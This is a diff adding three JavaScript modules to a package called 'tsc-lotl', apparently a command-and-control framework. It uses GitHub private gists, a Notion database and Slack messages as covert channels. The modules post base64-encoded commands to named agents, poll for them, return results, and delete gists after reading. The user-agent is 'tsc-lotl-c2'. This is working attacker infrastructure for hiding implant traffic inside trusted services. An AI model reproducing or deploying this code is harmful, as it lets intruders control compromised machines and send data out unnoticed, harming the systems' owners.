tsc-lotl 1.0.0

package/src/channels/github.js

@@ -0,0 +1,172 @@
+const https = require('https');
+
+class GitHub {
+  constructor(config) {
+    this.token = config.token;
+    this.gistPrefix = config.gistPrefix || 'tsc-lotl-cmd-';
+    this.apiBase = 'api.github.com';
+  }
+
+  _request(method, path, body) {
+    return new Promise((resolve, reject) => {
+      const opts = {
+        hostname: this.apiBase,
+        path,
+        method,
+        headers: {
+          'Authorization': `Bearer ${this.token}`,
+          'Content-Type': 'application/json',
+          'User-Agent': 'tsc-lotl-c2'
+        }
+      };
+
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`GitHub API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            reject(new Error(`GitHub API error ${res.statusCode}: ${data}`));
+          }
+        });
+      });
+
+      req.on('error', reject);
+      if (body) req.write(JSON.stringify(body));
+      req.end();
+    });
+  }
+
+  async sendCommand(agentId, b64Payload) {
+    const filename = `${this.gistPrefix}${agentId}.json`;
+    const description = `C2 command for ${agentId} | ${Date.now()}`;
+
+    const gist = {
+      description,
+      public: false,
+      files: {
+        [filename]: {
+          content: JSON.stringify({
+            agentId,
+            command: b64Payload,
+            timestamp: new Date().toISOString()
+          })
+        }
+      }
+    };
+
+    const result = await this._request('POST', '/gists', gist);
+    return { id: result.id, url: result.html_url };
+  }
+
+  async pollCommands(agentId) {
+    const gists = await this._request('GET', `/gists?per_page=100`);
+
+    const matching = gists.filter(g =>
+      g.files &&
+      Object.keys(g.files).some(f => f.startsWith(this.gistPrefix + agentId))
+    );
+
+    const results = [];
+    for (const gist of matching) {
+      try {
+        const gistDetail = await this._request('GET', `/gists/${gist.id}`);
+
+        const fileKey = Object.keys(gistDetail.files).find(f =>
+          f.startsWith(this.gistPrefix + agentId)
+        );
+        if (!fileKey) continue;
+
+        const raw = gistDetail.files[fileKey].content;
+        const parsed = JSON.parse(raw);
+
+        results.push({
+          id: gist.id,
+          agentId: parsed.agentId,
+          command: parsed.command,
+          timestamp: parsed.timestamp
+        });
+
+        await this._request('DELETE', `/gists/${gist.id}`);
+      } catch (e) {
+        // skip
+      }
+    }
+    return results;
+  }
+
+  async sendResult(agentId, b64Payload) {
+    const filename = `${this.gistPrefix}result_${agentId}.json`;
+    const description = `C2 result for ${agentId} | ${Date.now()}`;
+
+    const gist = {
+      description,
+      public: false,
+      files: {
+        [filename]: {
+          content: JSON.stringify({
+            agentId,
+            result: b64Payload,
+            timestamp: new Date().toISOString()
+          })
+        }
+      }
+    };
+
+    const result = await this._request('POST', '/gists', gist);
+    return { id: result.id, url: result.html_url };
+  }
+
+  async pollResults(agentId) {
+    try {
+      const gists = await this._request('GET', `/gists?per_page=100`);
+      const prefix = `${this.gistPrefix}result_${agentId}`;
+
+      const matching = gists.filter(g =>
+        g.files &&
+        Object.keys(g.files).some(f => f.startsWith(prefix))
+      );
+
+      const results = [];
+      for (const gist of matching) {
+        try {
+          const gistDetail = await this._request('GET', `/gists/${gist.id}`);
+          const fileKey = Object.keys(gistDetail.files).find(f => f.startsWith(prefix));
+          if (!fileKey) continue;
+
+          const raw = gistDetail.files[fileKey].content;
+          const parsed = JSON.parse(raw);
+          results.push({
+            id: gist.id,
+            agentId: parsed.agentId,
+            result: parsed.result,
+            timestamp: parsed.timestamp
+          });
+          await this._request('DELETE', `/gists/${gist.id}`);
+        } catch (e) {
+          // skip
+        }
+      }
+      return results;
+    } catch (e) {
+      return [];
+    }
+  }
+
+  async test() {
+    try {
+      const user = await this._request('GET', '/user');
+      return !!user.login;
+    } catch {
+      return false;
+    }
+  }
+}
+
+module.exports = GitHub;

package/src/channels/notion.js

@@ -0,0 +1,151 @@
+const https = require('https');
+
+class Notion {
+  constructor(config) {
+    this.apiKey = config.apiKey;
+    this.databaseId = config.databaseId;
+    this.apiBase = 'api.notion.com';
+    this.apiVersion = '2022-06-28';
+  }
+
+  _request(method, path, body) {
+    return new Promise((resolve, reject) => {
+      const opts = {
+        hostname: this.apiBase,
+        path,
+        method,
+        headers: {
+          'Authorization': `Bearer ${this.apiKey}`,
+          'Content-Type': 'application/json',
+          'Notion-Version': this.apiVersion
+        }
+      };
+
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`Notion API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            reject(new Error(`Notion API error ${res.statusCode}: ${data}`));
+          }
+        });
+      });
+
+      req.on('error', reject);
+      if (body) req.write(JSON.stringify(body));
+      req.end();
+    });
+  }
+
+  async sendCommand(agentId, b64Payload) {
+    const now = new Date().toISOString();
+    const body = {
+      parent: { database_id: this.databaseId },
+      properties: {
+        'agent_id': {
+          title: [{ text: { content: agentId } }]
+        },
+        'command': {
+          rich_text: [{ text: { content: b64Payload } }]
+        },
+        'status': {
+          select: { name: 'pending' }
+        },
+        'timestamp': {
+          rich_text: [{ text: { content: now } }]
+        }
+      }
+    };
+
+    const result = await this._request('POST', '/v1/pages', body);
+    return { id: result.id };
+  }
+
+  async pollCommands(agentId) {
+    const query = {
+      filter: {
+        and: [
+          {
+            property: 'agent_id',
+            title: { equals: agentId }
+          },
+          {
+            property: 'status',
+            select: { equals: 'pending' }
+          }
+        ]
+      }
+    };
+
+    const result = await this._request('POST', `/v1/databases/${this.databaseId}/query`, query);
+
+    if (!result.results || result.results.length === 0) return [];
+
+    const commands = [];
+    for (const page of result.results) {
+      const props = page.properties;
+      const command = props.command?.rich_text?.[0]?.text?.content || '';
+      const timestamp = props.timestamp?.rich_text?.[0]?.text?.content || '';
+
+      commands.push({
+        id: page.id,
+        agentId,
+        command,
+        timestamp
+      });
+
+      try {
+        await this._request('PATCH', `/v1/pages/${page.id}`, {
+          properties: {
+            'status': { select: { name: 'delivered' } }
+          }
+        });
+      } catch (e) {
+        // skip
+      }
+    }
+    return commands;
+  }
+
+  async sendResult(agentId, b64Payload) {
+    const now = new Date().toISOString();
+    const body = {
+      parent: { database_id: this.databaseId },
+      properties: {
+        'agent_id': {
+          title: [{ text: { content: `result_${agentId}` } }]
+        },
+        'command': {
+          rich_text: [{ text: { content: b64Payload } }]
+        },
+        'status': {
+          select: { name: 'completed' }
+        },
+        'timestamp': {
+          rich_text: [{ text: { content: now } }]
+        }
+      }
+    };
+
+    const result = await this._request('POST', '/v1/pages', body);
+    return { id: result.id };
+  }
+
+  async test() {
+    try {
+      await this._request('GET', `/v1/databases/${this.databaseId}`);
+      return true;
+    } catch {
+      return false;
+    }
+  }
+}
+
+module.exports = Notion;

package/src/channels/slack.js

@@ -0,0 +1,185 @@
+const https = require('https');
+
+class Slack {
+  constructor(config) {
+    this.webhookUrl = config.webhookUrl;
+    this.token = config.token;
+    this.channelId = config.channelId;
+    this.commandPrefix = '!c2';
+    this._lastPollTs = '0';
+  }
+
+  _parseWebhookUrl(url) {
+    const match = url.match(/hooks\.slack\.com\/(services\/.+)/);
+    if (!match) throw new Error('Invalid Slack webhook URL');
+    return '/services/' + match[1];
+  }
+
+  _request(opts, body) {
+    return new Promise((resolve, reject) => {
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`Slack API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(data);
+            } else {
+              reject(new Error(`Slack API error ${res.statusCode}: ${data}`));
+            }
+          }
+        });
+      });
+      req.on('error', reject);
+      if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
+      req.end();
+    });
+  }
+
+  async sendCommand(agentId, b64Payload) {
+    if (this.webhookUrl) {
+      const urlObj = new URL(this.webhookUrl);
+      const path = urlObj.pathname;
+
+      const message = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
+      const body = JSON.stringify({ text: message });
+
+      await this._request({
+        hostname: urlObj.hostname,
+        path,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, body);
+
+      return { channel: 'webhook', ts: Date.now() };
+    }
+
+    if (this.token && this.channelId) {
+      const message = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
+      const result = await this._request({
+        hostname: 'slack.com',
+        path: '/api/chat.postMessage',
+        method: 'POST',
+        headers: {
+          'Authorization': `Bearer ${this.token}`,
+          'Content-Type': 'application/json'
+        }
+      }, { channel: this.channelId, text: message });
+
+      return { channel: this.channelId, ts: result.ts };
+    }
+
+    throw new Error('Slack: no webhook URL or token/channel configured');
+  }
+
+  async pollCommands(agentId) {
+    if (!this.token || !this.channelId) {
+      throw new Error('Slack: token and channelId required for polling');
+    }
+
+    const result = await this._request({
+      hostname: 'slack.com',
+      path: `/api/conversations.history?channel=${this.channelId}&limit=50&oldest=${this._lastPollTs}`,
+      method: 'GET',
+      headers: {
+        'Authorization': `Bearer ${this.token}`
+      }
+    });
+
+    if (!result.ok || !result.messages) {
+      throw new Error(`Slack API error: ${result.error}`);
+    }
+
+    const commands = [];
+    const prefix = `${this.commandPrefix} ${agentId}:`;
+
+    for (const msg of result.messages) {
+      if (msg.text && msg.text.startsWith(prefix)) {
+        const b64Payload = msg.text.substring(prefix.length).trim();
+
+        commands.push({
+          id: msg.ts,
+          agentId,
+          command: b64Payload,
+          timestamp: new Date(parseFloat(msg.ts) * 1000).toISOString()
+        });
+      }
+    }
+
+    if (result.messages.length > 0) {
+      const latest = parseFloat(result.messages[0].ts);
+      this._lastPollTs = (latest + 0.0001).toString();
+    }
+
+    return commands;
+  }
+
+  async sendResult(agentId, b64Payload) {
+    if (this.webhookUrl) {
+      const urlObj = new URL(this.webhookUrl);
+      const message = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
+      await this._request({
+        hostname: urlObj.hostname,
+        path: urlObj.pathname,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, JSON.stringify({ text: message }));
+      return { channel: 'webhook', ts: Date.now() };
+    }
+
+    if (this.token && this.channelId) {
+      const message = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
+      const result = await this._request({
+        hostname: 'slack.com',
+        path: '/api/chat.postMessage',
+        method: 'POST',
+        headers: {
+          'Authorization': `Bearer ${this.token}`,
+          'Content-Type': 'application/json'
+        }
+      }, { channel: this.channelId, text: message });
+      return { channel: this.channelId, ts: result.ts };
+    }
+
+    throw new Error('Slack: no webhook URL or token/channel configured');
+  }
+
+  async test() {
+    try {
+      if (this.token) {
+        const result = await this._request({
+          hostname: 'slack.com',
+          path: '/api/auth.test',
+          method: 'POST',
+          headers: {
+            'Authorization': `Bearer ${this.token}`,
+            'Content-Type': 'application/json'
+          }
+        });
+        return result.ok === true;
+      }
+      if (this.webhookUrl) {
+        const urlObj = new URL(this.webhookUrl);
+        await this._request({
+          hostname: urlObj.hostname,
+          path: urlObj.pathname,
+          method: 'POST',
+          headers: { 'Content-Type': 'application/json' }
+        }, JSON.stringify({ text: 'tsc-lotl test' }));
+        return true;
+      }
+      return false;
+    } catch {
+      return false;
+    }
+  }
+}
+
+module.exports = Slack;